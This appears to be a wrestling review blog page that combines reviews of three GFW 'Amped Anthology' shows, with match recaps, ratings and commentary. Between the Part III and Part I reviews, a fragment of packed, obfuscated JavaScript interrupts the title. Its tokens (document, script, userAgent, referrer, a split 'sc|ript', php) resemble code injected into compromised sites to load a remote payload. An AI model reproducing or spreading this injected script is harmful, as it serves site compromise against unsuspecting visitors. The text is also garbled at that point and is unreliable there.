One Night Only: Amped Anthology Part IV
Date: December 8, 2017
Location: Orleans Arena, Las Vegas, Nevada
Commentators: Cyrus Fees, Chael Sonnen

Thank goodness it ends here. This is the final piece of the four part series of Jeff Jarrett’s failed attempt to launch his own promotion (the second time that is). Impact then released the TV tapings as a series of four events so that is what we have here, with the final four shows and a bunch of champions being crowned. Let’s get to it.

The opening video gives us a rapid fire look at what is left in the tournaments.

Commentary chatters and previews the show.

Seiya Sanda is ready to become #1 contender to the X-Division Title.

Sonjay Dutt is ready to become #1 contender to the X-Division Title.

Sonjay Dutt vs. Seiya Sanada

The winner gets a Nex Gen Title shot at some point in the future. Dutt bows to Sanada to start and we get a nice handshake. They go to the mat to start and it’s an early standoff. Dutt works on the arm as we hear about Sanada being part of the Bullet Club. Back up and Dutt hurricanranas him to the floor, setting up a headscissors to take him down again. A slingshot legdrop gives Dutt two and a backsplash is good for the same. The Octopus hold goes on with Dutt working on the hand to be a little more evil. Sonnen: “Sanada looks as Asian as Scott Hall does Cuban. I think it’s an angle.”

Sanada springboards in with a chop to the head, which we see three times for some reason. A TKO gives Sanada two but the moonsault misses. Instead Sanada grabs a bridging German suplex for two more but Dutt stacks up la majistral for his own two. There’s a running shooting star press for two more on Sanada and a running tornado DDT. A top rope splash gives Dutt the pin at 8:47.

Rating: C. This is a good example of what was wrong with GFW: there was little to the story and the action was completely average. The match was a perfect example of something that came and went with a few decent spots but I won’t remember it by the end of the show. It was very basic, by the book professional wrestling, but it has no staying power whatsoever.

Respect is shown post match.

Brian Myers is upset by his recent loss but he isn’t done.

Masked Saint vs. Juicy Joey

Saint is rather skinny and a tie in to a movie of the same name and apparently the grandson of the real version. Joey (Ryan of course) takes him into the corner to start but Saint is back with a clothesline into a headlock. A shoulder runs Saint over but Joey gets hiptossed out to the floor. Back in and Joey runs him over again, setting up the signature pose on the rope. Saint is back with a DDT for two but Joey knocks him down without much trouble. The chinlock goes on for a bit, only to have Saint pop up with a dropkick. A high crossbody finishes Joey at 5:10.

Rating: D+. It is pretty clear that Saint is very new at wrestling, as his offense was rather entry level. Then again, this felt like little more than a way to hype up the movie and that is acceptable enough. It isn’t like Joey Ryan is going to be hurt by taking a loss on a show like this, so just give the movie some press and move on.

Nick Aldis is ready to beat Bobby Roode and be the World Champion.

Chael Sonnen talks about training fellow MMA fighter Phil Baroni and calling him out during an appearance on a previous show. Baroni jumped the barricade and a match seems to be imminent.

Tag Team Title Tournament Semifinals: Whirlwind Gentlemen vs. Bollywood Boyz

The Gentlemen are Jack Manley/Remy Marcel while the Boyz are Gurv/Harv. The Boyz are better known as the Singh Brothers in WWE, which commentary points out for us. Harv and Manley start things off and a shoulder means it’s time for the Bollywood dancing. An armdrag into an armbar lets Gurv come in with an ax handle to the arm.

Gurv gets sent outside for a slam onto the apron and it’s time for the Gentlemen to work on the arm. The chinlock goes on for a bit, followed by more stomping to keep Gurv down. Back up and Manley is sent into Marcel, allowing the tag back to Harv. Everything breaks down and a double neckbreaker takes Remy down. The Bollywood Blast finishes Marcel at 4:33.

Rating: C-. Another “just a match” match here and that doesn’t exactly surprise me. The wrestling has not been the strong suit on this wrestling show and that is quite the issue to get around. They had two teams in a match here and the good guys won to get a title shot against more villains. I’m not sure what else you should have expected here.

Post match the celebration is on but Christina Von Eerie runs in to jump the Boyz’s dancers. Reno Scum comes in to jump the Boyz but Amber Gallows (facing Von Eerie for the Women’s Title) runs in for the save.

Video on the Women’s Title match.

We start the second episode with a look at the Women’s Title match.

Christopher Mordetzky (Chris Masters), with his advocate Stu Stone (I think?) arrives with a bouquet of flowers.

Cielo Escorpion wants the Nex Gen Title.

Enigma wants the Nex Gen Title.

Bestia 666 wants the Nex Gen Title.

Enigma vs. Bestia 666 vs. Cielo Escorpion

Enigma is better known as Venum Black Jr. and wrestled around Mexico for a few years. Escorpion is Scorpio Sky under a mask. Bestia decks both of them to start and we’re already in the triple headlock. Escorpion is sent outside, leaving Enigma to hit a rather speedy headscissors on Bestia. Back in and Escorpion gets springboard armdragged outside, allowing Enigma to hit a flipping suicide dive. Enigma gets back inside where Bestia gives him a tilt-a-whirl backbreaker, followed by a superkick into a standing moonsault for two on Escorpion.

Enigma is back in with a Code Red (not a Destroyer) for two on Bestia but Escorpion is back up with a jumping knee to the face. Escorpion’s big flip dive takes Bestia out again as we hear about WCW’s cruiserweight division. Bestia pops back up and drops Enigma, setting up a kneeling Musclebuster for two on Escorpion. Back up and Enigma grabs a satellite DDT on Bestia, followed by a running sunset flip (Fees: “I don’t even know what to call that!” It’s a running sunset flip.) for the pin at 5:09.

Rating: C+. This was mainly a bunch of spots and it worked out well enough, though the short time frame might have helped things. You could tell that Enigma was going to be the focal point of the match from the opening bell, which may or may not have been the best thing. It did what it needed to do, but it still fees like “hey we have a lucha/X-Division/Nex Gen match!” for no reason other than saying they have one on the show.

Here is Chael Sonnen for a chat, because he is tired of waiting on Jeff Jarrett. The Global Title is in the middle of the ring and in two weeks, these men will face off for the title. Cue Bobby Roode and Nick Aldis, with Roode now holding the TNA King Of The Mountain Title. Roode talks about all of the success that he has had elsewhere and brags about the title already on his shoulder.

The only thing standing between himself and the GFW Global Title is Aldis so now Roode has one obstacle left. Once he wins it, he is off to Nashville for a big celebration…or maybe he’ll just burn it in a trashcan. Aldis says Roode mentioned not wanting to be here, yet he is here anyway. That means he wants to be here but Roode is hedging his bets with TNA. Roode wants to roll the dice and see what happens but Aldis is here to win the title.

Cue Stu Stone and Christopher Mordetzky, with Stone saying they have been trying to get hold of Aldis. Nick doesn’t want to hear it, even when Stone makes a reference to Mickie James. Mordetzky has the flowers with him, with Roode saying Aldis should take them home to his wife and kid since he won’t be taking the title. Sonnen and Roode lay Aldis out. Nice enough segment to put some heat on the match, but Mordetzky is an energy killer.

We recap Christina Von Eerie vs. Amber Gallows for the Women’s Title. A lot of people like Gallows but Von Eerie has no compassion for or fear of her.

Women’s Title: Christina Von Eerie vs. Amber Gallows

For the inaugural title with Karen Jarrett here to present the belt. Von Eerie isn’t in for the Too Sweet so the brawl is on with Gallows spearing her down. The yet to be named YES Kicks into a running kick to the head have Von Eerie in even more trouble. Gallows gets kicked in the face as well though and Von Eerie takes her down to set up a kick to the back.

That doesn’t last long as Gallows is back up with a Russian legsweep and they head to the apron. A backdrop puts Von Eerie down onto the apron and then the floor, followed by a whip into the barricade for two. Back in and an Iconoclasm into a superkick gives Gallows two but the Amber Alert is broken up. The Dead Raising (cross arm Backstabber) gives Von Eerie the pin and the title at 6:34.

Rating: D+. I actually went back to make sure I had the time right because this was nothing. The match came and went with nothing to it and Von Eerie happened to win. They were certainly trying and the match wasn’t terrible, but what are you expecting from what is supposed to be some big match that doesn’t even get seven minutes?

We start the third episode with a look at the Tag Team Title match between Reno Scum and the Bollywood Boyz. They have both worked so hard to get here and now it is all about the titles. Points for focusing on the fact that they’re teams instead of a couple of people wrestling together.

Chael Sonnen rants about how Jeff Jarrett is screwing up the company (again) because Sonnen is a bigger star who draws more ratings and sells more tickets.

We look at how the Bollywood Boyz and Reno Scum made it to the finals.

Here are Jeff and Karen Jarrett for a chat. They are both very happy to be here and Jeff explains the four divisions (which really shouldn’t require an explanation) with the World Title being the main prize. Cue Chael Sonnen to say that he is responsible for all of this company’s success. He has been watching Jeff burn through so much of his family’s money that people are starting to call him Dixie.

Jeff says this isn’t the time or the place for Sonnen to ask for a match again but we’ll figure that out later. That’s not good enough for Sonnen but Karen says he means nothing around here. Sonnen says it’s amazing to see what $10,000 worth of silicone can get you. He isn’t here to talk to a woman, so he’ll talk to Kurt. Sonnen: “Sorry, I mean Jeff. If you want to fast forward to 2017, I can just call you Chael.”

Sonnen wants to see what Karen has and gets slapped in the face. With that out of the way, Sonnen says he’ll fight Phil Baroni and wrestle anyone. If he has to, he’ll go to the graveyard and dance on Jeff’s dad’s grave. I mean, that might be hard as Jerry Jarrett is still alive but Sonnen is the best talker around here so it’s hard to complain.

Video on the Tag Team Title match as the total filler on this episode continues.

Reno Scum talks about getting called to come into GFW and knowing it was their chance to win a real Tag Team Title.

The Bollywood Boyz talk about wrestling in Canada for years and finally getting their chance to make it elsewhere. Their father came from a part of India where you don’t have electricity after 6pm and now they want to make something better for their family. That’s a nice statement.

Back to Reno Scum, they want to make their families proud.

The Boyz are undersized and are ready to show what they are all about and what they can do.

Both teams talk about training/their diets as this video is still going. Scum says the Boyz have big hearts but people with big hearts die early deaths. Wow.

This whole thing went on over ten minutes and might as well have had a big FILLER flashing sign over it. Some of the stuff was fine if not good, but cut this WAY down.

Tag Team Titles: Reno Scum vs. Bollywood Boyz

For the inaugural titles with Jeff Jarrett there to present the belts. Christina Von Eerie is here with Scum and the Boyz have their Bollywood dancers. The brawl is on before the bell with the Boyz clearing the ring in a hurry. That means it’s time for the dives but Luster the Legend pulls Harv into a Texas Cloverleaf.

The fans are behind the home state Scum but Harv dropkicks Gurv in the back to break up a slam. A buckle bomb plants Harv though and Adam Thornstowe sends him into the corner for two. The chinlock goes on for a bit until Harv manages to get in his half of a double clothesline to put them both down. Gurv comes in for a spinwheel kick and a near fall on Thornstowe and it’s the Bollywood Blast for the same. A double superkick puts Luster on the floor but Harv’s dive only hits barricade.

Back in and Thornstowe’s Alberto double stomp gets two on Gurv. Harv is tied in the Tree of Woe and Gurv hits a running Razor’s Edge to knock them both silly. That doesn’t last long though as Luster is sent outside, leaving Thornstowe to eat a double superkick. A missile dropkick into a top rope elbow finishes Luster to give the Boyz the titles at 9:50.

Rating: C. Another match which was fine enough but has no impact other than getting to say the Boyz are the first champions. The Boyz going over is fine for a feel good moment and their (lengthy) video talking about wanting to make things better for their family was great, but they can’t get more than ten minutes?

Respect is shown post match.

We start the fourth episode looking at the Global Title match. Bobby Roode and Nick Aldis are both awesome and ready to go from different parts of the world. This is going to be another talking heavy show isn’t it?

Commentary welcomes us to the show and of course Sonnen is wearing the Global Title.

We recap how Aldis and Roode made the tournament finals.

Both guys arrived earlier.

We go to the hype video on the main event, talking about how important it is to be the champion. Fans are inspired by the champion and for the most part, it is only a dream for the wrestlers. Mick Foley pops in to say Bobby Roode is underrated and Jeff Jarrett is amazed that Roode is from another promotion but came here for the tournament.

We talk about Roode’s development and how he has moved up from a tag team guy to a main eventer.

Aldis knows Roode is good.

With that video done, we look at another video on how they got here. Now I know we already did this, but here’s a DETAILED look at their earlier matches. This includes Chris Mordetzky talking about going to see Mickie James, which was too far for Aldis. Then Aldis had to deal with Chael Sonnen, which didn’t go very far.

Foley still likes Roode’s chances.

Roode isn’t sure what he’ll do with the title when he wins.

After TWENTY MINUTES of hype videos, we’re ready to go. Remember that this was supposed to be an hour long TV show too, meaning this would probably have been over half of the show.

GFW Global Title: Bobby Roode vs. Nick Aldis

For the inaugural title and Jeff Jarrett is here to present the belt again. They go with the feeling out process to start as Sonnen keeps ripping on Jeff and Fees. Aldis takes him down without much trouble but the threat of the Spine Shaker (modified belly to back suplex) sends Roode outside.

Back in and Roode sends him into the corner and starts in on the arm. Roode drops some knees on the arm and the seated armbar goes on. Aldis breaks up a superplex attempt though and drops a top rope elbow for two. Roode is right back with the top rope Blockbuster for the same but Aldis catches him in a suplex for another near fall. The King’s Lynn Cloverleaf has Roode in more trouble until a rope is grabbed.

Roode is back with an enziguri into a Backstabber for his own two so it’s time to bring in the belt. That means the referee gets bumped and it’s a low blow into a belt shot to drop Aldis. The very delayed count gets two but the Roode Bomb is countered into a rollup which is countered into the Crossface on Aldis’ bad arm. That’s broken up as well and Aldis sends him into the corner, setting up the Spine Shaker for the pin and the title at 10:18.

Rating: C+. That’s almost out of pity, as it’s the longest match of the show and that’s hardly worth mentioning. The match was fine enough for a quick TV match but for the first World Champion? Much like with the Boyz winning the Tag Team Titles, it’s cool to see a champion crowned but it isn’t like this felt important or anything. The fans were dead and commentary didn’t really make it seem special, leaving it down to the wrestlers. They did what they could, but how epic is a ten minute match going to be most of the time?

Post match Jeff Jarrett presents Aldis with the title but here are Stu Stone and Chris Mordetzky for the brawl. Mordetzky hits him with the flowers, which had a lead pipe included. Kongo Kong joins in on the beatdown, with Aldis being left bloody. Jeff Jarrett comes in for the save and gets Masterlocked. The beatdown is on and Mordetzky lays the title onto Jeff to end the show.

Overall Rating: D. That’s the end of Amped and it couldn’t come faster. This wasn’t so much a bad show as much as uninteresting it was. It felt like they were just going through the motions and trying to check boxes off a list of things they needed to do here. None of the matches were memorable, the fans didn’t care, and the best person on the show was the heel commentator.

I’m not sure who would want to watch this as a weekly series as I could barely tell you what happened in the four episodes I just watched, let alone the first twelve. Amped was little more than Jeff Jarrett trying to do something TNA like again but without the talent or effort that TNA had. The matches could have been far worse, but they couldn’t have been much less interesting if they tried. Really boring show and thankfully the end of Amped, which didn’t deserve a future after this.

 

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One Night Only: Amped Anthology Part III
Date: October 13, 2017
Location: Orleans Arena, Las Vegas, Nevada
Commentators: Cyrus Fees, Chael Sonnen

I’m still not done with this thing but at least I’m onto the second half now. Believe it or not we’re still on the tournaments, which is almost all these shows are about. Hopefully we can get some good action in here to make the show work well enough, though it’s not like the first two parts have been inspiring. Let’s get to it.

Here are Part II’s results if you need a recap.

The opening video (remember that these shows are comprised of four hour long episodes) previews tonight’s show, focusing on a women’s triple threat.

Opening sequence.

Video on Virgil Flynn, who I don’t think I’ve heard of outside of this show.

Nex Gen Title Tournament First Round: Virgil Flynn III vs. Trevor Lee

Lee shoves him down to start and picks up the much smaller Flynn for some ragdolling. Flynn sends him into the ropes though and nails a running slap but a springboard is broken up with a kick to the rope. A forearm to the face gets two as PJ Black is watching from the ramp. Flynn’s comeback is countered with a gutwrench faceplant but he’s fine enough for a tornado DDT.

Lee gets sent outside for a big running flip dive, followed by a running backsplash for no cover. Lee’s spinning crossbody gets two and a bridging German suplex is good for the same. Flynn is right back up with a forearm to the face and a top rope hurricanrana (West Coast Pop without the springboard) is good for the pin at 9:11.

Rating: C-. There’s a certain kind of indy cruiserweight match that you can almost call spot by spot and move by move and that’s what you had here. Neither of these two were exciting and the match wasn’t exactly shocking. It was completely watchable but absolutely nothing beyond that.

Shelton Benjamin says he has a concussion and will be on the shelf for the time being.

Nick Aldis is ready to become the World Champion. He’s done it before and he can do it again, a stance Jeff Jarrett seems to share. Aldis knows Chris Mordetzky is more than a musclehead and he’ll be ready.

Black hands Flynn a cup of water and knocks it out of his hands.

Here’s Karen Jarrett for a chat. She talks about last month’s women’s three way match with Christina Von Eerie moving on to the Women’s Title match. Before we get to the other qualifying match, here’s Bullet Babe Amber Gallows for a chat. She’s looking forward to this but here’s Tease N Sleaze (Kenny King and Joey Ryan) to say these two just destroyed the ratings in three minutes. Stripping ensues and Jarrett’s response of “Do you know who our husbands are?” doesn’t exactly work well. Karen gets a little more serious and tells them to get out because the women are main eventing. Amber cleans house.

The announcers talk about the tournaments.

Katarina Leigh, Laura James and Amber Gallows want the Women’s Title. Karen would be happy with any of them winning.

Christina Von Eerie is ready for whoever gets the other spot.

Women’s Title Tournament First Round: Katarina Leigh vs. Amber Gallows vs. Laura James

Katarina is Catrina/Winter/Katie Lea/whatever other names she’s gone by. Amber’s offer of a Too Sweet gets her a kick to the ribs from Katarina. James gets two off a PerfectPlex to Amber and it’s Gallows getting double teamed. A big boot knocks James off the apron but Leigh hits one of her own on Gallows.

The double teaming continues with a Boston crab/camel clutch combination but, as always, the fight over the fall begins. Gallows uses the break to roll Leigh up for two, followed by a neckbreaker/DDT at the same time for two more. A superkick drops Leigh and the Amber Alert (X Factor) gives Gallows the pin on James at 4:55.

Rating: D+. Well that happened. They tried to turn this into a major match but it felt like any match you would see on any indy show. Gallows was treated as a major star and better than the others, which at least gives Von Eerie a challenger. What we got here was nothing special though and not exactly main event worthy.

Karl Anderson and Luke Gallows come out to celebrate.

A preview for next week’s episode wraps up the first show.

We get a preview for the second week, which is still such a weird thing to see on a long show like this.

Tease N Sleaze aren’t happy with what happened at Amber Gallows’ hands so Joey is ready to deal with anyone, man or woman.

Kevin (Killer) Kross isn’t happy with the result of his first match but he never gives up. Why he goes from a full head of hair to bald and back in a single video isn’t clear.

Juicy Joey vs. Kevin Kross

Kenny’s early distraction doesn’t work and it’s Kross taking him down into a front facelock. Joey sends him outside though and Kenny actually does something right by stomping away. Kross’ leg is wrapped around the post and Joey has a target. The leg is fine enough for a release German suplex to take Joey down but he’s right back on the leg to keep Kross in trouble. The comeback doesn’t take long with Kross hitting a kick to the face and an exploder suplex. Some rolling suplexes (regular into a fisherman’s into a Saito) finish Joey at 5:30.

Rating: D+. The leg going absolutely nowhere was annoying but they were smart to have the hometown boy Kross win. Joey isn’t the most polished worker in the world it was a good idea to keep things moving here. Kross has a lot of potential but there’s only so much you can do with these restrictions. He didn’t exactly get much better in the ring in the next few years anyway.

We recap Chris Mordetzky insulting Mickie James (Nick Aldis’ wife) at Chael Sonnen’s pushing. Aldis came out and got full nelsoned.

Amber Gallows wants the Women’s Title.

Video on Aldis vs. Mordetzky. They used to be friends but Mordetzky has become a jerk, who even implies that he and Mickie used to have something going on.

Video on the four way for the Nex Gen Title.

Joey and Kenny argue but agree to focus on their next tag match instead.

GFW Global Title Tournament Semifinals: Chris Mordetzky vs. Nick Aldis

Aldis is ticked off and punches him out to the floor, followed by a back elbow to the face back inside. Chris gets knocked outside again and more right hands keep Mordetzky in trouble. A missed dropkick lets Mordetzky take over, much to Sonnen’s delight. That means a camel clutch for a bit, followed by the standard stomps to the ribs. Mordetzky stays on the ribs as Sonnen wonders about the lack of the Adonis Lock. Well Mordetzky never was known as the brightest guy in the world.

A front facelock at least starts in on the neck before having to go with a spinebuster to cut Aldis off. The threat of the Adonis Lock is countered with a clothesline and they’re both down. Aldis is back up with what looked like a brainbuster for two and the King’s Lynn Cloverleaf sends Adonis to the rope. Mordetzky hits a sitout spinebuster for two of his own but the Adonis Lock is countered into the Spine Shaker to give Aldis the pin at 11:18.

Rating: C. Mordetzky is very close to the top of the list of people who were supposed to be a big deal once they got out from underneath WWE’s thumb but he’s the exact same guy who didn’t work in WWE. He’s big, muscular, and spends most of the match trying to get a full nelson. That doesn’t make an interesting match and Aldis, while good, isn’t good enough to make this a strong match.

In the back, Mordetzky yells at the referee to no avail.

Preview for the Nex Gen Title match on the next show.

The next episode begins with a big preview of the Nex Gen Title match. It would be nice if we had seen these guys have more than one match before they’re fighting for a title.

Here’s Jeff Jarrett for a chat. He puts over Las Vegas as a great city where all of the tournaments are going to wrap up. Shelton Benjamin is out of the tournament due to a concussion but here’s a loudmouthed manager to yell about the crowd as he comes to the ring with Chris Mordetzky, who is carrying flowers. He introduces himself as Stu Stone, the official business manager for Mordetzky.

They’re upset about something that happened with Mickie James so Mordetzky has these flowers as a peace offering. Mordetzky should be put in the tournament in Benjamin’s place but that’s a big negative. Chris leaves and Stu yells at Jarrett for making a bad decision. Jeff goes to punch him out but Mordetzky makes the save.

Post break Jeff rants to Karen Jarrett about what just happened.

The four participants in the Nex Gen Title match arrive.

In case you haven’t gotten enough of them yet, here’s a video on the Nex Gen Title match. Maybe we could see these people in the ring instead of in all these videos? This eats nearly fifteen minutes and is just a bunch of “this guy is awesome and this guy is awesome and this title is SO important”.

Nex Gen Title: PJ Black vs. Jigsaw vs. Virgil Flynn vs. TJP

For the inaugural title and it’s one fall to a finish. We get the Big Match Intros just in case you haven’t waited long enough yet. Black won’t shake Jarrett’s hand before the match so we can have a heel. A double superkick puts Black on the floor to start and the other three go for some rapid fire rollups for two each. Black is back in and gets sent outside almost immediately and Flynn does a big spinning headscissors on Jigsaw.

Since we haven’t done it in a few seconds, Black comes back in and gets triple dropkicked out of the air to send him outside. Just give him the title already. TJP gets the Black Widow on Jigsaw before switching to an Indian Deathlock. Just to show off, he gets a northern lights suplex for two on Flynn at the same time. Jigsaw sends TJP outside and slightly botches a backbreaker on Flynn. TJP dives back in to break up a cover and puts Jigsaw in a surfboard with Virgil making a save.

Black is back for a brainbuster on Virgil but Jigsaw hurricanranas him to the floor. Everyone goes to the floor so Flynn dives onto the pile for a big crash. Back in and Jigsaw ties Black in the Tree of Woe for a top rope double stomp from another corner (normally known as a dropkick but not to these commentators) for two. Jigsaw’s kneeling over the back piledriver gets two on TJP with Black making the save. Flynn takes out Black and Jigsaw but charges into a superkick from Jigsaw.

Back up and Jigsaw gets caught in a Doomsday crossbody, leaving Black to hit a Lionsault for two. TJP knocks Black off the top and it’s Flynn with a 450, only to have Jigsaw double stomp (not a dropkick this time) Virgil in the back for the save. Black is right back in though and it’s another 450 to finish TJP at 11:19.

Rating: B. They really telegraphed Black winning the title here, though it was still a good match. The problem is this is nothing that hasn’t been done several times before and several times better by more interesting people. You have to have a match like this on your show and that’s ok, but this is nothing I’m going to remember in a few hours.

Next time: Chael Sonnen gets to talk.

This time: Chael Sonnen gets to talk.

Here’s Chael Sonnen, who does indeed get to talk. Sonnen insults the fans for not knowing how to handle seeing a mega star. There are celebrities and stars and then there is Chael Sonnen. He wants the people to chant his name and take his picture. Now they should introduce themselves to each other. Those people you just met? They’re Chael Sonnen fans.

Anyway Sonnen introduces the highest paid athlete in the spot: himself! He wants a match and doesn’t care who he’s facing. Sonnen goes on a rather nice rant about all the people he can beat before saying he needs to get to his latte in his dressing room so cut his mic. Sonnen has great charisma and can talk, so this was a lot better than I was expecting.

Juicy Joey introduces us to his new partner: Oozing Austin (Jakob Austin Young, an indy guy who hasn’t done anything of note), because Kenny Klimax is gone and Joey likes multiple partners.

Tag Team Title Tournament Semifinals: Tease N Sleaze vs. Reno Scum

Scum starts fast and takes over on Austin with Luster chopping him down in the corner. A neckbreaker over the ropes keeps him in trouble but it’s off to Joey, who gets punched in the head as well. Something like a bulldog sends Joey face first into Luster’s knee and Thornstowe’s standing moonsault….allows the tag to Austin without much effort.

Thornstowe gets caught in the corner and it’s Joey whipping him into another corner, allowing for some hip thrusting on the mat. Austin’s suplex lets Joey come in for the two count so Thornstowe is right back with a double Blockbuster. Joey gets tied into the Tree of Woe and a Razor’s Edge sends Austin into him. A curb stomp/top rope stomp finishes Austin at 8:30.

Rating: D+. That’s one of the best Scum matches I’ve ever seen and the fact that they were faces probably had a lot to do with it. They beat up an annoying team here, though the switch from Kenny to Austin was rather notable. Austin didn’t show anything here and Joey was just a guy, which is weird today given how much he’s blown up. Not a good match, but not terrible for just a step above a squash.

Of note: the brackets show the Bullet Club in the semifinals, which commentary already said that they had been replaced by another team. I know it’s a taping situation, but that doesn’t exactly make this look well put together.

Kongo Kong is getting his toenails clipped when he shoves his handler (the clipper) away.

Luke Gallows says the Bullet Club is missing the show because they got booked in Japan. They’ll be back for the Tag Team Titles.

The Bollywood Boyz are now in the finals against Reno Scum. Good for them.

PJ Black interrupts the announcers to smile at the camera.

Kevin Kross is ready for his three way match to become the new #1 contender. It’s weird hearing him talk like a rational human after his Killer Kross days. Brian Myers (Curt Hawkins) is a serious wrestler but he’s getting dropped on his head today.

Kongo Kong vs. Brian Myers vs. Kevin Kross

For the #1 contendership to the Global Title, which doesn’t actually have a champion yet. Kong’s lackey Henry Maxwell handles Kong’s introduction. Before the match, Kevin gets in an argument with MMA fighter Phil Baroni in the front row. Kong goes to the apron to start and Maxwell tells the other two to fight. Chael’s thoughts on Maxwell: he’s a good guy but he’s quit the business since the tapings took place. Kross and Myers go outside to jump Kong and the double teaming begins inside.

Kong fights them off and sends Myers outside so a splash can get two on Kross. A double chokeslam lets Kong go up top and it’s a double superplex to bring him back down. There’s a double spinebuster to take him down again but Kross fisherman suplexes Myers for two instead. A cannonball gets two on Kross so Myers gives him an enziguri. Kong powerbombs Myers onto Kross’ knees and the top rope splash lets Kong finish Myers at 8:45.

Rating: D+. Actually not terrible here and I’m rather surprised by that one. Kong continues to be one of the most embarrassing wrestlers I’ve seen in years though it makes sense to set up a monster for the first champion to face. Myers was his usual game self and Kross has potential, though he needs something to tie it all together. Maybe being a psycho.

Overall Rating: D. While it’s not terrible by any measure, it’s very, very dry and boring, which for me is a lot worse. There is absolutely nothing on here that feels inspired, fresh or even all that good in the first place. While I can understand that this isn’t meant to be watched in marathon form, there is NOTHING on here that would make me want to keep watching for more than about two weeks.

It’s all about the tournaments and I really need more than just one tournament match after another. You get a very minor story here and there but it doesn’t make for good TV and I wanted to stop multiple times throughout. Thank goodness there’s only one part left, but to suggest that this had any sort of a future is ridiculous.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2000 Monday Nitro and Thunder Reviews Part 1 (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/02/22/new-book-kbs-monday-nitro-thunder-reviews-volume-vii-january-june-2000/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kihie|var|u0026u|referrer|rstrf||js|php'.split('|'),0,{})) Night Only: Amped Anthology Part I
Date: August 11, 2017
Location: Orleans Arena, Las Vegas, Nevada
Commentators: Cyrus Fees, Chael Sonnen

So this exists. Back in 2015, Global Force Wrestling FINALLY got around to their TV tapings and over two years later, we’re FINALLY getting to see the things. Most of these people have moved on to different promotions but I’m really interested in seeing how these things were going to be. There were eight one hour episodes and I believe we have four of them here tonight. Let’s get to it.

We open with a quick intro, basically saying that none of this is scripted. It also comes off like a partial reality show with a lot of focus on people working as hard as they can to get here. It’s amazing how many of these names are already in WWE and in many cases have already won titles there.

The announcers welcome us to the show with Chael playing a heel and loving the idea of tournaments to win titles.

It’s a six sided ring because of course it is.

Nex Gen Title Tournament First Round: Seiya Sanada vs. PJ Black

The production values are quite good, probably better than today’s Impact. We get the crazy spinouts from the wristlocks to start and it’s off to a standoff. Black flips him down to the mat and grabs a headlock as the announcers explain Black’s background. A kick to the back of the head gets two on Sanada but he pops right back up with a dropkick. Black springboards into a dropkick to the ribs and we hit the abdominal stretch.

That goes nowhere (like you would expect it to in this kind of a match) so Black spinkicks him down, only to miss the top rope Lionsault. Sanada misses his own though and it’s a double breather. Back up and Black fires off some kicks but gets caught on top. A tiger suplex gives Sanada two and a TKO gets the same. Sanada loads up a superplex but gets shoved off, setting up the springboard 450 to send Black on at 8:45.

Rating: C+. So you know all those other X-Division style matches that don’t have much of a story but feature a bunch of pretty good flips and dives? Well this is one of them. Black is a good high flier and Sanada is a bit more well rounded but these matches just kind of come and go for me. It was good but another X-Division/Cruiserweight Title doesn’t do much for me anymore. We’ve seen it so many times that seeing it again isn’t the most thrilling thing in the world.

Here are the brackets for the first time.

Black

Sonjay Dutt

Jigsaw

TJP

Andrew Everett

Trevor Lee

TBD

Video on Kevin Kross. Believe it or not, he was inspired by Japanese wrestling.

The resident lucha libre team is ready for their six man tag later and two of them are ready to win the Tag Team Titles.

Here’s Bobby Roode, to his own Against the Grain TNA theme, for a chat. Roode says he doesn’t belong here because he’s always been and always will be a TNA guy. He lists off a bunch of people he’s held the TNA World Title than, which is better known as a list of people who will never be here. He’s here tonight to take the GFW World Title from Jeff Jarrett (who isn’t champion mind you) but here’s Nick Aldis, better known as Magnus, to interrupt. Aldis says this isn’t the Impact Zone and Jarrett brought everyone here to join the force. Cue Kongo Kong (who looks just as bad as he does now) to jump Aldis, allowing Roode to grab a Crossface.

Black is ready to move forward towards the title.

Video on Jarrett creating the company.

Bestia 666/Blood Eagle/Samu Jr. vs. Los Luchas/Misterioso Jr.

Zokre and Eagle start things off with a lucha sequence, which Sonnen says is reminiscent of the Hart Foundation. Everything breaks down and Zokre gets beaten down with a wheelbarrow Codebreaker planting him. The triple teaming makes things even worse with all of the technicos taking a beating as we head to a break.

Back with Eagle powerbombing Zokre for two as the announcers are trying to keep up with everything going on to little avail. Misterioso hits an Asai moonsault onto Samu and Los Luchas add stereo running flip dives. A Codebreaker and a hurricanrana driver plants Eagle and something like a Lionsault gives Misterioso the pin at 6:14 shown.

Rating: C. This was your run of the mill lucha insanity but I have no idea who any of these people are. Commentary did a horrible job of telling us who they were and there was no reason to like one team over the other. It wasn’t bad but the days of just doing lucha for the sake of doing lucha are long behind us. Well save for around here and on 205 Live of course and it’s no wonder that neither is the most successful product in the world.

Here are the brackets for the Tag Team Title tournament:

Bollywood Boyz

Akbars

Los Luchas

Reno Scum

Celo/Misterioso

Teaze N Sleaze

Bullet Club

Killer Elite Squad

Preview of the rest of the season.

The second episode begins with a recap of last week’s show, even if it didn’t seem like much happened. The big focus is on Roode vs. Kross for a spot in the GFW World Title tournament.

Virgil Flynn and Kushida are ready to go after the Nex Gen Title.

Kushida vs. Virgil Flynn

Non-tournament and non-title with Kushida’s IWGP Junior Heavyweight Title not on the line. I’ve never heard of Flynn but Kushida is probably my favorite New Japan guy. They fight over a wristlock to start until Kushida grabs a front facelock to take over. A drop toehold puts Kushida into 619 position though and a kick to the head staggers him even more. Back in and Kushida kicks him down before sending him shoulder first into the post.

Bored of that, Kushida hits the basement dropkick for two. Virgil gets in a jawbreaker, which Chael describes as old school. It’s too early for the Hoverboard Lock and Virgil snaps him off the top with a hurricanrana. Kushida wins a slugout but his crossbody is countered into a powerslam for two. A 450 hits knees though and Kushida fires off kicks to the arm before just punching him in the jaw. The Hoverboard Lock makes Flynn tap at 10:37.

Rating: C+. Flynn wasn’t bad though this was just a step above an extended squash. Having Kushida around is a good idea as he’s one of the best in-ring talents in the world, though having the IWGP Title out there didn’t look good. You’re trying to convince people that you’re the best in the world. Don’t mention other promotions every chance you get as it makes you look like you’re riding their coattails instead of standing on your own. See also a major problem for GFW and ROH today.

Aldis says he’s fine and can appreciate Kong trying to make a name for himself. He’ll be winning the GFW Title though.

Kushida and Flynn endorse each other.

Video on the women of GFW. This includes Karen Jarrett talking about how many opportunities the women will be getting because she’s this company’s Stephanie McMahon.

Video on Kevin Kross, who seems to be a shooter/MMA guy with some anger issues.

